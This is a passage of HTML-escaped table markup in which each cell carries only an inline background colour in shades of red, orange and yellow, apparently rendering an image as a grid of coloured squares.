&lt;td style=&quot;background-color: #c5460a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c04004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c44200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c43b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c13100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de4c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8510e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed5312; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e27112; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed7d15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e24a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e44614; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c92e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34c13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de380d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c92207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b31c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b20e00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc280e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c50e0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d13506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de6e17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d74a08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c10005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d50003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d60005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c20001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #bc5b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e98a08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffe717; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fff81d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f29f0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be5004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c15109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c55303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df7107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f49212; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da6705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4d09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be4408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4c0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee5f12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65b12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5611; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65f10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e35404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f86409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7951a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ef7710; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d94607; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34d10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db480e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc3305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd3c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e13f10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d02c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7310c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c11e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b81907; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc1a0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf1402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec9119; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffff40; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fddf39; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce2b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b20505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c10302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0909; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0300; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #ba5906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc5601; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4f0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c55905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc7906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e38807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc6908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc5301; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c35506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d36212; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d15f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d55408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d36007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de6305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd5712; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf3f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2500e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1570e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76b10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea790c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f17906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f87810; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f26816; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df5106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc3f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42e0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2320e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d72d0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd2c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7370f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b81b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad1704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b00e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf2a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da6113; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d64211; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e20e09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d40904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf060b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c10304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b00000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #c3550b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf5705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b95208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b85203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b85002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b75402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c25305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c35403; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d66610; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd6e15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c15709; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4b06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca6105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdbe23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fda115; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df5e06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84c08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c6460c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1510a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e56209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee941d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3d949; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7c235; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0ab12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f19610; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f57f0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75a0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce3c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b82a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be2c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf2506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c7270b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d82f0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df2309; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db200a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b81102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c81008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c50704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf0306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0170f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2150a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d70708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b60304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b10000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c80506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc0207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #bb5005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c1570b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf5509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b95106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94d00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4e06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd5309; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d75a07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9760c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e16809; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc4d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c44a0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d45905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f27816; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4a012; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8f578; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffa5; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9ee64; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5ce2e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4b418; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f18718; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e35007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c8360b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba2503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c12209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2240b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca1a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e12a0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf1e0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b20d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b51509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c60b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d20a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c90406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb0309; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c00203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b94f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be5408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc5206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74d02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
